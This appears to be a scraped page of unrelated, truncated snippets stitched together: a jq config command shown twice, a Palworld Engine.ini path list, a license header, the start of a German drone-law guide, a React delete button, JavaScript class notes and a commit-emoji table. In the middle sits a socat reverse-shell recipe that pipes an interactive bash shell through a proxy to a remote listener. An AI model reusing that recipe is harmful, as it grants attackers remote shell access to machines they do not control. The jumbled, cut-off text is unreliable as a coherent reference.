cat ~/.openclaw/openclaw.json | jq -r .models{
"mode": "merge",
"providers": {
"bedrock": {cat ~/.openclaw/openclaw.json | jq -r .models{
"mode": "merge",
"providers": {
"bedrock": {Open Pal/Saved/Config/LinuxServer/Engine.ini (for Windows use Windows path) and change accordingly
[Core.System]
Paths=../../../Engine/Content
Paths=%GAMEDIR%Content
Paths=../../../Engine/Plugins/2D/Paper2D/Content
Paths=../../../Engine/Plugins/Animation/ControlRigSpline/Content
Paths=../../../Engine/Plugins/Animation/ControlRig/Content
Paths=../../../Engine/Plugins/Animation/IKRig/Content| /* | |
| Copyright 2023 Total Pave Inc. | |
| Licensed under the Apache License, Version 2.0 (the "License"); | |
| you may not use this file except in compliance with the License. | |
| You may obtain a copy of the License at | |
| http://www.apache.org/licenses/LICENSE-2.0 | |
| Unless required by applicable law or agreed to in writing, software |
This article intends to provide a quick refresher and reference guide for aspiring drone pilots in German territory, particularly those from outside the EU.
Disclaimer: The author is not a law professional and assumes no liability, but strives to keep this guide up-to-date and factually correct. Please check the laws yourself before conducting a flight. No commission, referrals or similar awards have been provided to the author. The guide only applies to actual EU member states and Germany specifically, unless noted otherwise. The author has no knowledge about the edge cases Switzerland, Norway, Iceland, Liechtenstein and the UK - they may or may not have adopted the EU regulations. Please file a comment if you have corrections, questions, new edge cases or links to state-specific information.
German drone law follows the basic EU harmonized rules:
| # Listener on x.x.x.x:443: | |
| socat file:`tty`,raw,echo=0 tcp-listen:443 | |
| # Reverse shell proxy server is at 10.10.10.1:8222: | |
| socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
| socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
| <div className='delete-button' onClick={() => { if (window.confirm('Are you sure you wish to delete this item?')) this.onCancel(item) } } /> |
An example that shows the difference between creating a JavaScript class and subclass in ES5 and ES6.
Inspired by dannyfritz/commit-message-emoji
See also gitmoji.
| Commit type | Emoji |
|---|---|
| Initial commit | 🎉 :tada: |
| Version tag | 🔖 :bookmark: |
| New feature | ✨ :sparkles: |
| Bugfix | 🐛 :bug: |